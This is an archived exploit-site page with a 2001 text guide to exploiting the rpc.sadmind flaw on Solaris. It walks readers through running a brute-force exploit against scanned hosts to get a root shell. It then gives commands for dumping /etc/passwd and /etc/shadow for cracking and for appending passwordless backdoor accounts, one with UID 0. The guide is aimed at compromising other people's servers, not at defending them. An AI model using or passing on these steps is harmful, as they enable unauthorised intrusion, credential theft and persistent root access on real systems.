what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sadmind-howto.txt

sadmind-howto.txt
Posted Nov 22, 2001
Authored by Cyrax | Site members.antionline.com

Explanation of how to exploit the rpc.sadmind bug on Solaris.

tags | exploit
systems | solaris
SHA-256 | 39930a280c144ab14cfd240d0a929369a2f7e68dfed059b8f4c01fda84a4ba71

sadmind-howto.txt

Change Mirror Download
rpc.sadmind (27/02/2000)
------------------------

The bug rpc.sadmind has been reported a long time ago. But there has never
been a manual for it. So i decided to explain how to exploit the bug.
First of all i would recommend to use the sadmind brute forcer for the
sploit files sadmindex-sparc.c and sadmindex-x86.c , you can find the
brute forcer at http://packetstormsecurity.org . Search for sadmind
brute forcer and the file samdind-brute-lux.c will be the first file
you'll see...
You compile the brute forcer in the same directory as the sploit
files.
Run the brute forcer like this :
./sadmind-brute-force <arch> <host>
If you don't know what <arch> is then you do ./sadmind-brute-lux
You'll understand now =)
When you have found a vulnerable host (you can scan for RPC stuff with RPC-
scanners LOL) you do this for example
./sadmind-brute-force 1 www.sadmindvulnhost.com

If you're dropped to a rootshell now, the host is vulnerable for real.
Otherwise, the host is patched.

Now you're dropped to the rootshell you have 2 easy ways to exploit the
rpc.sadmind bug.
The first way, this is kinda lame, is that you view the /etc/passwd
(or the /etc/shadow ofcourse) and then crack the password file with
a password-cracker like John The Ripper --> this can take years !
You view the /etc/passwd like this
cat /etc/passwd;
The ; must be added ! If ya type cat /etc/passwd the server will recognize
this command as
cat /etc/passwd^m

The second way to exploit the bug is a lot faster then the first one.
Here we simply add two users, one with root privileges ofcourse...
This example is for a host with /etc/shadow !
Type this at the rootshell :

echo cyrax:x:UID:GID:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax2:x:0:0:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax:::::: >> /etc/shadow;
echo cyrax2:::::: >> /etc/shadow;

Dont use > instead of >>, >> adds a line, > overwrites !
Replace UID and GID by 666 for example but NOT by 0
After you typed this, there will be added two users to the server :
cyrax and cyrax2
You login with the non-root user, cyrax, and then do su cyrax2
and set the password for the users ...
Now you have root access to the server...

Written by : CyRaX (cyrax@antionline.org)
http://members.antionline.com/cyrax
Special thanks to : nostalg1c
greet[z] : kemX, Cheitan, guppy, |llus|0{\}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close